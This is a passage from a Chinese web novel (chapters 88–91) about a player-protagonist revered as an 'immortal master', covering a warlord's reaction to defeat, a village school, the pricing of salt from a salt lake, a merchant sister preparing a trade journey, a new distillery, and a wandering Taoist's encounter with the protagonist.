侯远明是他亲侄暂且不表,若是血缘关系倒是不值得侯天王为他煞费苦心,寻求军功,只因这侯远明曾数次救他于危难之间,且他又无子无女,一路走来,不免便将侯远明看成亲儿子对待。 此次西行,也是他觉得没什么风险,这才放手让他去做。 侯天王眯着眼睛,正欲解开信件。 而不知为何,心下却突然生出几分异样。 等完全解开后,凝望着其内所写,侯天王不免笑意渐敛,神色严肃。 而先前那些忙于拍马的人,在看到侯天王这幅模样后,各个在心中后悔。 叫自己多嘴,看天王表情不像是有好事发生,刚才一番拍马全拍到了马蹄上! 各个大气不敢出,悄悄凝视侯天王。 而此刻,侯天王却不住回想那信中所说。 ——风仙县有仙人出世,义师军大败,侯远明身死,三千精兵只余五百人。 此事颇为诡异,远超他预期。 这信件是曹副将传递回来的,此人颇为谨慎小心,是自己心腹大将,也是他放心不下侯远明,这才命曹副将跟着,倒是没想到,竟然会出此变故。 想到先前的谋划成了泡影,侯天王不免气急攻心,一怒之下,竟当场吐血。 第88章 贵了 而侯天王这幅作态,忙惹得堂下众人上前救治,等缓过来一口气后,侯天王眼神阴冷,吩咐道:“传本王命令,命五千精兵立即前往西口城,前去和曹副将汇合,等汇合后,一切听从曹副将指挥。” 众人不免心思微动 曹副将指挥,却不是侯远明,难不成侯远明惹了侯天王的厌弃?亦或是更严重的,这侯远明已身死? 虽心有所想,但众人均是不敢出声,只想着日后再打探一二。 五千精兵已领命前往西口城,而在遣退众人后,侯天王这才写下谋划塞给信鸽。 而后不日,曹副将展开信件,看到侯天王所写后不免思索。 按侯天王之意,眼下不该和对方硬碰硬,派出少量人马前去探探虚实才对,除却探路外,风仙县附近城池可暂且放弃,以保留力量等待后续反击,眼下应当守住其余领土才是重中之重。 信中还说明,侯天王正欲外出寻求高僧道士前去探探那风仙县,既有那所谓的仙人,难不成没有别的神仙? 种种手段若是在没遇到那仙人时,曹副将定会觉得这方法还算是个办法,但既亲眼目睹仙人手段,他却不觉得这方法能对那仙人有用。 面上应下,但实际上曹副将却存了后退的心思。 不过和侯天王所想一致的是他也认为应派人去查看那风仙县目前到底是何模样,以及那仙人是否还在其中。 斗坡村内,学堂早已开课。 原先那些早上过学堂的人本心存侥幸,心想凭借自己原先的知识,想必能轻松在学堂上出头,但当真正开始上课时,其内容却是让众人均是一愣。 其学堂有五门课程,分别是数学,化学,文明素养,地理,物理。 众人只晓得那数学便是算数,但其余的却是让人不由地一愣。 其余究竟是何物? 等到上课后,听那名师讲解,众人这才有所领悟。 这数学一道,竟如此艰难且有趣,这化学,却是头一次见,但经过上课时名师考据现实中的例子,众人这才察觉到化学一用途。 而文明素养更像是教导他们应当的为人处世,做人之理,地理教导他们学会山川百脉,学会应对各类因地势引发的不同,还能对农业有所帮助,物理这一门则也是如此,虽说艰辛,但其中奥妙无穷,若研究畅通的话,可想象这世间将会有何种变化才是。 因是给本土人上课,所以姜定先前聘请的名师其实均为游戏内自带名师,这些名师可以根据时代不同,将道理转换成为通俗易懂且奥妙无穷的知识。 倒是学堂内众人在上完了几日课程后,各个脸色动容。 “这仙师让我们所学课程和咱们原先学的课程可是完全不同。” “竟不是先前的四书五经,若我看来,如今学的东西倒是入门更快,且更有用。” 也有一人插话。 “这可不一定,若总是学这般像白话一般的东西,以后文学岂不是不在?” 立即有人反驳他,“这不过是第一年内容,你怎知以后内容也是如此?且依我看,这知识虽白话,但却更适合眼下,也可凭借此,琢磨出那位的想法。” 众人不敢再继续言语。 但心中已经有了猜测。 而在这中,先前派出去的人也将学堂内容回馈给了方知意,方知意不免暗自琢磨。 内容竟然都是这般实用,果然仙师更注重知识能够落地,或许也是因为面对人群皆是不曾上过学之人,自然上的课要更为通俗易懂。 但从中传递过来的知识可不简单啊有许多甚至她都不曾听过 等她亲自来到那集闻楼后,先是确定了白思妙暂且无事后,这才进入那楼内细细翻看书籍,本打算先草草扫过了事,但谁能想到,她一看便忍不住被其中内容吸引,而后看得如痴如醉。 看着方知意这般痴迷,白思妙索性由她而去,毕竟但凡是来到这集闻楼看书的,就没有不痴迷的人。 说起这些书籍,其实还是蛮神奇的。 原先集闻楼空空如也,本想着或许之后仙师会往内补全书籍,将此楼填满才是,没想到这想法不过才刚从脑内闪过,第二日,等白思妙下楼时,却意外察觉,原先空空如也的架子,这会竟全被满满当当的书籍填满。 其藏书丰富程度,专业程度均让白思妙惊叹不已。 她倒是近水楼台先得月,这几日也经常捧着书痴迷看去。 但这里的书籍实在是太多,自己还有要事要做,白思妙心痛之余,只允许自己下班后再来看。 所以眼下看着方知意沉浸其中,倒也不开口催促。 ——反正过两天就好了。 这些天,白思妙的报社其实也已安排妥当,不过因距离山下和风仙县太远,她不免想着应当在城内开设一家门面才是。 只有驻扎入县城内,才能更进一步的了解人群,这才是报社的生存之道。 思索明白这道理后,自是将此事和方知意商量片刻,最后报社的地址便入了官家地盘。 等到察觉已到下午之际,方知意这才恋恋不舍地放下手中书籍,而后打包了数本书籍打算回去继续阅读。 白思妙正欲送送她,二人刚到潜灵山路途一半,却眼看着人流量相较于先前多了许多。 且这些人除了上山外,还多了不少下山的马车,偶尔有敞篷的马车,露出其内白花花的物什。 方知意不免被吸引视线,二人跟随人流往前走了几步,眼前豁然开朗。 只见茵茵草地上,正嵌着一颗晶莹透亮的宝石。 风吹皱了一池清水,倒是惹得二人忍不住发呆。 “这是?” 身旁有人开口解释。 “此处便是仙师名下的盐湖了,负责产盐一事,不知两位是?” 说话的人是一位白面书生,生得俊秀,此人正是原先被赋予管理盐湖的杨延。 既都是为仙师效力,三人很快互报姓名,片刻便熟悉起来。 杨延在初听到此人竟是风仙县新任命的县令后,神色不免严肃了几分。 再端详一番,就见方知意此人脸上不见半分青涩稚嫩,对视时,眼神平静无波,幽深如同寒夜古井,话语不多,却字字斟酌,掷地有声,令人不敢小觑。 果不愧为仙师看重的人,虽才十六岁,却早就有超越此般年龄的深沉! 再联想到今日来听到的风仙县频频而出的大动作,掀起一城风雨的便是眼前这位方县令,杨延心中不由暗自惊叹,而后又将注意力放至白思妙身上。 杨延知晓,那日仙师为了保护百姓,曾亲降风仙县,县城除却白思妙外,并无一人伤亡。 本以为是这白家女遇害,但他现在才知道,此人原来是亲自被仙师带着来到山上,而后仙师便将报社的任务托付给此人。 报社未来会有多么大的言论自由力量,先前家中开书馆的杨延最是有所体会。 时刻把控着舆论风向,这可是多少人想求都求不来的权柄,而仙师却将此权柄交给眼前瘦弱纤细的少女。 细细思索一番,应当是仙师的深意而已。 早就习惯于仙师精妙的推衍能力,杨延倒是给二人介绍起来盐湖。 “想必二位学识渊博,定是知晓原先盐池采盐的方法,一般来说,大炎朝有两种方法,一是自然晾晒,二便是捞取其自然凝固的盐巴。 但这两种方法效率都太低,经过仙师提点,我们目前采用的方法是垦畦浇晒法。” “何谓垦畦浇晒法?” 白思妙率先提问。 确实如同杨延所说,原先的两种方法,她们二人自然是知晓,因盐产量低,所以盐价格居高不下。 “请二位朝那边看。” 此刻正逢三人迈步在盐湖边际,顺着杨延手指的方向,便能看到盐湖湖水被引入一块块预先修筑好的畦田中。 每一块水田内,都有人持木铲而动作,均匀分摊卤水,将盐巴晒得更充分。 “利用阳光和风力使卤水蒸发浓缩,便可等待盐水结晶后采收。 按照新法,产盐效率大幅度提升。 根据我等推算,盐湖每年可生产出三百五十万石盐。”??? 二人不由地停顿,而后难掩震撼。 350万石!这是个多么庞大的数字! 这些盐可以供给全县以及周边人食用后,还能供应数个县! 若往外售卖的话,也足够支撑起数个县内财政。 震撼间,二人已被引入放置着晾晒好的成品盐巴屋内。 这些盐白花花一片,比原先她们买过的细盐还要细腻几分,除却细腻外,几乎毫无杂质,异常洁白。 若按照等级评分的话,这盐可谓是上上等皇家专供的盐了。 方知意脑内闪过诸多想法,而后幽幽道:“不知这盐,仙师欲卖多少价?” 杨延有些犹豫开口,“先前我也有问过仙师,仙师确实有说过这个问题,说除了旗下工厂按照最低价格一斤2文购入,其他地方,皆是按照每斤30文购入。” 一斤2文是便宜得没边了,但这每斤30文则是属于一个正常偏高的价位。 在大炎朝内,原先粗盐的价格为一斤10文左右,但每次使用时都需要捣碎才能使用,且其中杂质较多,而细盐的话,则价格要贵多了,按照其杂质多少,分别为一斤20,30,40文。 若是这般洁白剔透的品质,一斤40文都不在话下。 倒是杨延叹息开口:“其实说实话,虽说一斤30文算是一个很合理的价格,但眼下百姓哪能有这些钱,昨日我还在思索破解之法,毕竟仙师的命令是不可违背的。” 方知意蹙眉,思及仙师往日所做之事,这位的意思确定如同表面所说这般? 第89章 细盐 若真按照仙师所说,只有工厂旗下才能使用2文钱一斤的盐,其余地方依旧采用30文一斤,虽说能赚不少,但这真的是仙人所想? 想想看仙师原先做过的种种举动,分明他对金钱并无特别喜好,这让方知意难免有些怀疑仙师真正的用意。 而后,像是想通了什么一般,顿时豁然开朗。 ——她明白了! 仙师想表达的意思难道是便宜的食盐只允许他旗下工人们购买,但若是想往外出售食盐,则最低定价为30文一斤。 再想想看吧,若按照这个思路想下去,这分明就是仙师的恩赐,先让百姓们能吃上物美价廉的盐,而后又将高价盐往外售卖,这般便能带动经济发展,而后靠着贩卖食盐得来的钱财,他们又可以将这笔钱用在急待发展的本县域区内啊! 思及这笔钱带来的影响,方知意不免心中微动。 再扫过杨延竟还是一副不曾想明白的模样,她顿时叹息,而后出声提点。 “杨管事,若依我看,我们所有人便都是仙师旗下的工人,所以是否是你对仙师所说的范围产生了误解?” 杨延原先还有些愕然,但当细细品味方知意所说的此话后,不免微微蹙眉。 ——原先他就奇怪为何仙师会下达这样的命令,合着是他自己想错了! 也是,仙师爱民如子,哪怕是对待像他这样的凡人也不曾有丝毫的高傲之态,更何况这位更是数次救百姓于水火之间,怎么可能让自己旗下的百姓处于活不下去的状态! 只要稍作思索,思及这两文钱一斤的食盐即将会给风仙县以及附近民众带来的好处,杨延便忍不住的浑身颤抖。 不说别的,至少百姓能少花费不少钱去购入食盐,而后的话,他们也能将货物交给仙师旗下的那位赵公子,由他负责往外地贩卖食盐。 想明白其中的弯弯道道后,杨延这才缓缓地呼出一口气,而后看向方知意的眼神便是更加钦佩。 果然不愧是仙师亲自扶持上位的县令,单论这份揣摩仙师心思的能力就是他远不能及的,再想想看这位今日真是误入盐池? 或许是冥冥中,仙师借这位新县令之口来指点他的? 越想越觉得可能,杨延呼出一口气,心中此刻只余下对仙师的敬佩之意。 “多谢方县令指点,接下来我便明白了该如何去做了。” 方知意点头,而后这才和白思妙二人共同离开此处。 而与此同时,赵金构则是收到了杨延的拜见帖子。 杨延此人,赵金构也是稍有耳闻,毕竟眼下仙师旗下的领导人物实在是太少,那作为管理盐池的总管,赵金构自认自己不至于说连他都不认识。 等到茶水上来后,杨延单手执着茶杯,而后不等赵金构先开口,他便将一包东西从怀里拿了出来。 将此物解开后,呈现在眼前的便是细腻如同白沙一般的细盐。 先前还不太当回事的赵金构,此时却忍不住流露出几分诧异。 这等品质,在赵金构看来,绝对能算是看到过最好的品质!恐怕进贡给皇帝的细盐都没这好。 ——杨延来找他目的为何,他稍微一想便能知晓,心想最多盐的品质也就能做到中等已经算是了不起了,毕竟是第一次开采,但眼前这白花花的细盐,似乎在嘲笑着他想法还是过于谨慎。 再想想看,既有仙师指导,这样的结果也很合理。 再次深刻地体会到仙师的无所不能后,赵金构承认自己胸口弥漫出一阵阵不知从何而来的情绪。 而杨延则是缓缓开口:“赵公子,目前按仙师吩咐,我们盐池已能稳定开采细盐,对于在仙师旗下的百姓,每人可按照两文钱一斤的价格购入细盐,而对于外地的话,仙师的意思是让你售出30文一斤的价格。”???多少钱,两文一斤? 赵金构差点没能咽下去那口茶水,险些喷出来。 好不容易顺了顺,这才略有些狼狈道:“两文钱一斤?杨兄可莫要和我开玩笑。” 但转头看到杨延一脸严肃,不像是开玩笑时,赵金构愣神片刻,而后不免呢喃出声。 “两文钱的细盐仙师真的是太” 想了半天没找到什么好的形容词,只能叹息一声,询问其余相关事宜。 等听到盐池产量竟达到恐怖的年产350万石后,赵金构眼神涣散,用手狠狠地掐了自己数下,而后才反应过来。 ——怪不得,仙师能给出旗下百姓两文钱一斤的价格!这样的产量,简直可以说是恐怖了! 不过再想想看,若是大炎朝盐池有这般产量,朝廷可会将盐价降低至两文一斤? 自然不会,想来它们只会倾自己所能,从百姓兜里死命掏出一文又一文的血汗钱来。 思及此处,二者格局高下立见。 既已了解仙师的想法和需求,作为负责处理经营事务的赵金构自然不会拒绝。 且食盐作为日常生活的必需品,加上产出的食盐品质足够高,他有信心将食盐卖出一个好价格来。 等杨延告辞离去时,赵金构却久久不能平静。 而后,他差人将此消息告知给手下的商贩,征召一行人前来商讨一番。 等到游商们被邀请到家时,看着淡定坐在高处不吭声的赵金构,这群人倒先有些摸不着头脑了。 一行人不免私下窃窃私语。 “不知晓赵公子找我等前来是为何,莫非还是关于先前出售的商品一事?” “不应当,你何时见过赵公子那般啰嗦?依我看,定是有新的商品要拿出来给我等看才是。” “呵呵,真是令人期待,先前那粉条和豆干就让你我赚了个盆满钵满,这次不知道赵公子又能给咱们带来什么好玩意。” 按道理说,坐在高位上的赵金构不应当能听到几人的窃窃私语,但好像是因为他曾修炼过那归一炼身术法,导致浑身的感触相较于先前要更敏锐几分,这几人的话语倒是分毫不差的落入他耳内。 眼看人到齐了,赵金构起身对众人作揖,那张俊秀出尘的脸庞带着笑意。 “各位,今日赵某的确有一新奇之物想让诸位看看,依我看,这物若是推销开来,带来的利润定是不菲。” 边说,一旁就有一小厮端上来一瓷器,等到掀开那瓷盖后,磁盘内堆叠着的竟然是一堆白花花的物什。 前排坐得近的,自是一眼便看出来此物到底为何 是细盐?观其形态细腻洁白,当属最优等的货色。 但这等品质的细盐虽说数量少,但并不稀奇,所以说,赵公子将它端上来的目的到底是何? 似乎能感受到台下一行人的疑惑,质疑。 赵金构轻启薄唇,“想必诸位心中均有好奇,这不过就一品相较好的细盐,如何能担得起新奇一词,不如听赵某慢慢道来。” 台下众人凝神细听,等听到赵金构吐出这食盐在县内定价竟然只为两文时,所有人都陷入了诡异的沉默。 而后便是铺天盖地的质疑。 “两文钱?赵公子莫要开玩笑,这两文可是连那最次的粗盐都买不来的!” “是啊,这价格是不是定的有些草率了?” “细盐产量不高,这般定价,不知人力物力能否合得来” “虽说仙师怜悯百姓,但若是这种定价的话,恐怕之后盐池经营难以维系啊!” 有知情人不免面露担忧,虽说对仙师这般为民感到敬佩,但依旧开口劝慰。 不等众人发表完毕看法,赵金构将另一句话继续添上。 “凡是仙师所掌控旗下百姓,均按照两文钱一斤的售价售卖,至于其他区域,仙师定价为30文一斤。” 台下人群不免骚动。 30文,不是一个高价格,但绝对算得上合理了。 若定价采取一高一低之法,想必盐池不至于说运转不过来。 今日所来游商皆细细思索其中可操作的空间,正是室内沉寂之时,倒是有一清脆声音缓缓响起。 “赵公子,在下有疑问想询问一二。” 众人的注意力均被此人吸引过去,赵金构顺着视线看过去,看到的便是一矮个瘦小青年,此人身穿短褂长裤,头戴一顶小帽,外表平平无奇,但一双眼睛却亮得惊人。 只听此人继续道:“可否能将售价卖出超过30文价格?” 其实作为游商,能将东西卖出高价是自己的本事,这道理是大伙默认的道理,但如今那位仙师横空出世,大家都知晓仙师爱民的性子,且眼下各种新奇之物均是仙师带来的,那自然这售出价格问题也应当询问代理人才是,省得招惹麻烦,让仙师不满。 赵金构盯着对方发亮的眼睛,而后轻笑。 “自然可以,但我有个忠告要告诉诸位,不允许坑害普通百姓,不然恐会惹仙师不悦。” 这话说出来时,虽说赵金构是笑着的,但其中所蕴含的威胁意味不在言中。 不少人刚生出一点异样心思,这会被这话一打压,那点邪念顿时消散。 再看看台上赵金构那笑眯眯的小狐狸模样,各个只觉得冷汗濡湿了后背褂子。 而那提出问题的小个子男人,则是笑着回应。 “鄙人敬佩仙师,自不会做出令仙师嫌恶之事。” 待人群散开后,赵金构不免回想先前那小个子男人到底是谁。 根据他查出来的情报,那人似乎是杜游商最小的儿子,说起杜游商,赵金构不免情绪复杂。 此人倒是一代传奇,无论什么东西,都能将它售卖到大江南北,可惜的是,干这行的,时间一长哪里有不翻船的,据说杜家商行在前几年运送货物时,在路上不幸被一伙劫匪杀人夺货。 那一次,杜家人死伤惨重,从此一蹶不振。 只是从去年开始,那杜小郎开始活跃后,已死的杜家商行似乎又再次活跃了几分。 第90章 杜家商行 看来有机会应当多关注这杜小郎几分。 赵金构暗自腹诽,因需要操心的地方太多,虽说这杜小郎足够有趣,但依旧被他放在了靠后的位置。 与此同时,出了门的杜百先是坐马车回到了家中,而后端坐于太师椅,微微闭目思索这食盐能带给自家的利润。 屋外倒是一阵人影绰绰,而后很快平息下来。 杜百甚至不用抬眼,便知晓来人是谁。 “阿姐先用饭便是,我一会就过去。” 来人正是杜娘子,正是杜百的亲姐姐。 倒是杜娘子心疼地走上前,看到自家妹妹晒黑的脸庞,她不由地心中生出一股惆怅来。 阿百受苦了。 原来爹爹和哥哥还在时,何故需要家中女孩儿出门经商,受那般罪? 自家中变故后,她倒是也想跟随妹妹一起出门,却因身子不好,被杜百拒绝。 从五年前家人遇害后,杜家商行便已行走在崩溃的边缘。 这期间,均是杜百以一己之力,用这幅瘦弱的小身板,扛下了商行,这才暂且缓解了杜家最大的危机。 虽说杜百聪慧过人,但初涉商海时,也狠狠地跌过几次跟头,被坑,被骗,差点被杀 也正是这几年的磨砺让杜百快速抽条生长,而后逐渐在这中立起了根基。 在她的努力下,杜家商行逐渐恢复精神气,在杜百看来,自家只需要一个机会,便有望腾飞。 但所谓机遇难求,她只能耐心等待,倒是还真让她等到了几次有趣的东西。 ——伴随着那位仙师的出现,本县内倒是多出来不少有趣的东西,譬如粉条,豆腐,豆干 外出售卖之际,杜百自然也选择了耐存放的货物,先后几次,倒还真赚了不少。 但这些东西是无法让杜家再复辉煌的。 杜百心中清楚,本想另求突破之机,倒是那赵公子邀请他们前去,这才让她看到了一丝机会。 靠着这高等级的细盐,她或许可以打开原先和杜家商行有所联系的那些人。 先前杜父多有人脉,这才能将货物运输到遥远的幽州,黎州,先前父亲惨死,她又疲于奔命,无暇顾忌太远的地区,但现在杜家商行逐渐稳固,她是时候开始重新踏上征程了。 尤其是这细盐,若想卖上价格,她必须要将此物卖到那黎州朝廷所在之处才是,毕竟大炎朝最富裕的人都在那里啊。 边思索,杜百边琢磨着之后的路该如何去走。 而杜娘子却忍不住背着妹妹擦了擦眼泪。 ——阿百即将远行,外面争斗不断,随时都有丢了命的风险,爹和哥哥便是这样丢了命,她曾数次劝杜百不要出去了,毕竟靠现在杜家商行的规模也算能养活她们二人,但杜百拒绝了。 杜娘子还记得自家妹妹当时的模样,她整个人站在门外,逆着光,看不清面庞,但声音却无比清晰地传递过来。 “阿姐,如今这世道,若我们不去争,便要被其余人拆骨吞吃,慢慢等待死亡,只有说拼命去争,去抢,才能活下来,活得更好。” “放心吧阿姐,不用太担心我,我会好好练习武术,绝不会随随便便死在外面的。” 杜百确实没骗她。 自那天起,她便没日没夜的开始练武,原先她嫌弃练武太苦,只学了个皮毛便甩赖撒娇,不肯再去,而如今,不到鸡鸣,杜娘子便能透过窗户清楚地看到屋外是杜百抬手挥刀的影子。 酷暑寒冬,暴雨狂风,那道瘦弱纤细的影子却没有一天缺席过。 而后,无论在外面遭受多少委屈痛楚,杜娘子不曾看到妹妹掉过一滴眼泪,她知道妹妹的脾气,报喜不报忧,但杜百越是这样,她心里却疼得和刀割一般。 但她知道,她无法阻止阿百去外地游商。 其实早在杜家飞崩离析,被人欺辱,她又浑身病痛时,杜娘子绝望之余,便存了死志。 还没等她下定决心,杜百却挣扎着带着她狼狈地往上爬,试图脱离这滩烂泥,明明是那么怕疼,爱撒娇的妹妹,却飞速地成长起来,替她承担了属于长姐的责任。 那一天 ,杜娘子突然就不想死了。 她死了倒是痛快,却只留阿百一个人孤零零地在世间。 杜娘子自问自己没有这么狠心。 ——就这样活着吧,活到阿百还活着的每一天。 这样暗下决心,杜家商行竟是奇迹般被她们共同撑了起来。 而如今,看到阿百下定决心要去搏命,她除了支持,说不出任何阻止的话。 只能希望阿百能顺利归来。 做好准备后,杜百第二日便前往赵金构所说之处,指挥着工人搬运货物,白花花的细盐像是流水一般被抬上马车,而后被垒得结结实实,这次出发,杜百一共准备了有三辆马车,足足买了有三千斤细盐。 ——在杜家最辉煌时,一次出动便是十辆马车以上,运送货物大约一万多斤,但眼下三千斤已经算是杜百能拿出的极限了。 思及之后还需要钱来运营商行,就算是她,最多也只能动员三辆马车而已。 为避免路途遥远遇到恶劣天气,工人们在食盐表面覆盖了一层防水的油布,而后再加上马车有棚顶,就算有哪一辆马车漏水,也不会影响过大。 在装货临走前,杜百倒是意外喝到了一碗好酒。 这酒入口绵柔,舌尖轻触酒液后,先是微甜,紧接着浓郁酒香弥散开来,最后喉头带着辛辣,回味悠长,比她先前所饮的米酒,黄酒要好得多! 杜百不由地看向手中托着的碗,——不过是装货时顺道买了一碗酒而已,不过这滋味竟这般美妙? 回想到先前美酒入喉的滋味,杜百心头微动。 若将此酒包装后运送到黎州,幽州等地,想必也是一门生意。 既遇到这等好酒,她是必须要打听清楚这酒的来历,若有机会的话,她必须要装一半的酒水过去试试才行。 等到询问那售酒的老人家时,这人却得意笑道:“这酒是好酒吧?这可是仙师提出的秘方,而后生产出来的,要我说,比那些个黄酒,米酒好喝多了,你倒是运气好,今日老头我第一天卖酒,你是第一个买的,若你想买酒的话,不如前往村子尽头,那里有一酒厂,刚开工,我这酒便是从那里买来的。” 杜百倒是意外。 那斗坡村何时有了一座酒厂?她竟完全不知? 这卖酒的不是别人,正是汪老翁。 话说他先前一直靠来斗坡村倒腾点新奇玩意维持生计,但随着风仙县被仙师掌管后,他是既喜又忧。 喜的是既然被仙师掌控,那便算是仙师的人了,想必是能受到仙师的保护,但发愁的地方则是在于,几乎瞬间,整个风仙县像是被那位仙师点燃了激情,陆陆续续出现了不少前往斗坡村做买卖的人。 人数一多,汪老翁先前积累的那点小优势顿时消失不见,眼看生意做得是一日不如一日,汪老翁痛定思痛,决定去仙师旗下为这位效力。 毕竟他听说最近替仙师效力的人越来越多,人人都说,仙师极擅用人,只需要站在那位面前,什么话都不用说,便会被他安排到那最适合自己的岗位上。 不过汪老翁忧患意识还是蛮强的,想到等未来效忠仙师之人越来越多,他或许越往后越难以从仙师这里谋求一处职业后,顿时坐不住了,忙急吼吼地过去效忠。 倒是幸运,仙师竟真给了他一份职业。 ——酒水酿造师。 负责调控酿酒配方,同时负责观察市场动向,看看市场是否能接受新出现的酒水。 其实酒厂从一个月前便已建好,而一个月后,第一批新酿造好的玉米酒这才出锅。 虽说只存放了一个月,但滋味竟也要比存放了数十年的米酒黄酒之流口感好得多。 汪老翁年轻时也好喝点酒,对于酒水品鉴可谓是颇具心得,多番对比后,最后放下碗,不得不承认仙师不愧是仙师,哪怕只是随随便便给的一张配方,也比百年老字号的酒水滋味要足多了。 不过说起配方,汪老翁深觉那模样异常的“蒸馏”装备才是整个酒厂最为核心的装备。 为了打造这套装置,其中花费的艰辛自不用多说。 好在是一切顺利,最终还是成功打造出来酒厂所需要的蒸馏设备。 负责酒厂其余事宜的是一位叫仇朗的男子。 此人生得俊朗,性子却是少有的风趣,第一日见面时,汪老翁便靠着敏锐的识酒能力和此人迅速拉近关系,等到后来,他似乎隐隐约约得知,这位负责本酒厂的仇总管,竟是从明州永道宫而来! 据说这永道宫上有着一众道士,各个精通术法,钻研天地之道,和那些个江湖骗子不一样,永道宫可是货真价实的道士。 虽说巧合之下得知此事,但既然对方不提,汪老翁自然也就当做不知道此事。 ——在乎别人的家事干什么,他还有自身任务呢! 既酒水口感绝佳,汪老翁自然接下来研究调查市场风向的任务。 倒是凑巧,刚摆摊没多久,便有一瘦小男子询问他这酒的出处。 眼看这男子眼神带着欣喜,汪老翁自是给对方指明了方向,而后闭眼继续工作。 而杜百则是顺着那老翁所指之路,一路往下走。 直到看到一门口有着两坛巨大的酒瓶子标志后,这才停下脚步。 看来,此处便是那老翁所说的酒厂了。 位置的确靠后,寻常人若不是刻意往这边走的话,基本上绝不会注意到这酒厂存在的。 和地瓜厂,豆腐厂的火热不同,这酒厂门前冷清,像是还没开业般。《 》 90-100 第91章 师叔 感受到自己放在酒厂外的术法被触碰后,仇朗凝神细细感受来人是谁。 ——完全没感觉到有相同的气息,看来不是同道中人,所以说是买酒的? 呼出一口气,仇朗不自觉想起数日前发生的一幕。 他的确是从明州永道宫出来游历的道士,恰好游历到凤仙县附近,听闻当地人对一仙师推崇得紧,仇朗眉宇间不由地拧紧 到底是骗子,还是已修成形的大妖? 若是骗子还好说,他出手打杀了便是,若是大妖,此妖已有迷惑人心之能,以他目前所学术法的程度,恐怕也讨不着好。 但想起先前入永道宫前发的誓言,势必要将斩妖除魔作为永道宫宗旨的仇朗咬紧牙关,而后直奔那众人口中的潜灵山而去。 此去之前,他颇有些小心翼翼地抚上了胸口揣着的几张符咒,总算有了几分安慰。 这符咒是师叔所写,作为永道宫数百年难得一遇的天才,师叔对于阵法,咒语,推演的研究算是宫内佼佼者。 这位师叔心念小辈,经常会给看着顺眼的小辈们分发一些保命的符咒,让他们可以下山历练使用。 先前就有位师弟下山历练,偶遇一大妖,少年除妖心切,却不料不是对方对手,要不是靠着师叔给的符咒迷惑了那妖物,寻得一丝机会求生,现在这位师弟想必早就死了。 想到自己还揣着保命的符咒,仇朗自是行动也稍大胆了几分。 等他行至潜灵山山脚时,一股难以描述的巨大压力却腾空而出,瞬间便压得他喘不过气来。 一颗心不断被捏紧蹂躏,仇朗不由地眉头微蹙。 看来最糟糕的事情还是出现了。 此处并非是骗子作祟,而是货真价值的大妖! 此妖定是实力强劲,竟还未上山,便能感受到这股强大的压迫力。 仇朗顿时冷汗连连,一时间,竟生出了退意。 最终还是心中的愤怒战胜了恐惧,咬着牙,上了这潜灵山。 ——至少要先打探一番,得到情报后,再返回宫内寻求师祖出手才是。 如此这般想着,仇朗上山的步伐坚定了几分,而当他行进之际,姜定却是得到了一条新提示。 【检测到有恶意入侵者,是否追踪查看?】 还在悠闲看着旗下工人搬运矿产的姜定先是一愣,而后忍不住勾起嘴角。 可算是又有新剧情了,他这段时间只顾着低头发展经济,玩游戏玩得和单机一样,可算给他无聊坏了。 正觉得生活有了些许变故的姜定难免兴致十足,等到点开那不断移动的小红点后,他微蹙眉头,随后像是想到了什么一般,顿悟开口。 “原来是老熟人啊!” 只见那红点展开的页面上写得清楚,此人正是同来自永道宫的仇朗! 倒不是说姜定认识仇朗这人,而是上次那个道士也是来自永道宫,莫不是又触发后续剧情了? 想到上次那叫什么一言的道士莫名其妙就成了帮他吹彩虹屁的吟游诗人,姜定虽说迷惑,但依旧接受良好。 ——怎么了,他作为主控,有人主动投奔帮忙怎么了,很合理啊! 而现在,看着这一源而出的新道士,姜定顿时生出了几分关切。 好同志啊,肯定是觉得一个人吹马屁太慢,这不是又多来一个嘛! 既已知晓此人的真实身份,虽说这人的红点还显示着此人正对他或许还有些恶意和误解,但没关系,姜定有信心招募此人。 姜定操控着主控前往这红点所在地。 而与此同时,还在缓慢前进的仇朗突然浑身一震,而后便是铺天盖地的恐惧。 刚才,他仿佛被什么人给盯上了,有种被人剥开看光的感觉 虽说仇朗并非宫内最为有天赋的弟子,但他直觉却是强得可怕,这直觉曾多次救他于水火之间,而现在,直觉却在疯狂地弹出预警。 浑身的血液都在尖叫呐喊,让他快点逃走。 不等仇朗有所动作,突然天降金光,而这金光竟直奔他而来。 仇朗大惊,这股金光身上蕴含着无比恐怖的气息,若让他和这样的大妖遇上,恐怕是九死一生! 但逃跑也无用了,那大妖速度奇快,他必须要寻找机会吸引着妖物注意后,才能想办法逃走! 眼看这大妖即将落地现形,仇朗眉头紧蹙,而后以迅雷不及掩耳之势,从怀里掏出师叔曾给自己的符咒,对着那妖物掷了出去。 ——爆雷咒,立顿咒,金锁咒 想必能暂时困住这妖物一息。 等掷出去后,仇朗不敢多停留,先给自己用上疾风咒,而后便要逃走。 师叔的符咒虽然强,但他有种预感,这符咒恐怕困不住这妖物多久,若他不抓紧这唯一的逃命机会,恐怕今日便是他的死期! 而姜定则是疑惑地看着那直奔自己而来的几张符咒,挠头后便觉得这一幕似乎似曾相识。 屏幕上还给这几张符咒做了特写,眼看CG动画卡在了这里,姜定很顺手便将这几张符咒挨个点击了一遍。 等到游戏提示他收获了四张符咒后,姜定点着鼠标的手微楞在原地。 话说,上次他怎么记得那一言道士扔过来的符咒没给他啊! 是BUG吧!果然是游戏的BUG吧! 忍住这股吐槽欲望,姜定静待剧情发展。 而于此同时,本以为能靠着符咒爆炸获取一息逃命时间的仇朗顿时楞在原地。 倒不是说他不想跑,而是此刻他的身体像是不听命令般停顿下来。 等到微微扫视身躯后,仇朗顿时浑身僵硬,忍不住冷汗直流。 ——这竟然是师叔的法咒,他分明在方才已悉数用在那妖物身上,但为何这法咒竟能反弹到他身上,不说困住那大妖,眼下他竟然被师叔的法咒困住了! 面对这般前所未有的经历,仇朗在片刻慌乱后平稳下来。 看来今日他或许要死在这里了。 既已抱了最坏的打算,仇朗相较于先前倒是多了几分随遇而安的心态。 死便死了,他倒要看看这大妖到底是何方神圣,师叔的法咒竟然对对方毫无作用。 那金光已然落地,等到金光缓缓散开后,一抹淡青色身影出现在他眼前。 在看到此妖的第一眼,仇朗骤然瞪大双眼,而后忍不住心神震撼 开玩笑的吧,天地间竟能有人长这样? 原先他遇到的妖物各个长得奇形怪状,除了专职魅惑的狐妖能化身为俊男美女外,别的妖物模样是要多丑有多丑,且伴随着妖物法力提升,妖物的丑陋程度也逐渐上涨。 不过也能理解,妖物未曾开智,和人类的审美并不相同。 但眼前这妖,完全和他以往的经验不一样啊? 既已丧失主动性,仇朗倒是专注地盯着对方看了个痛快。 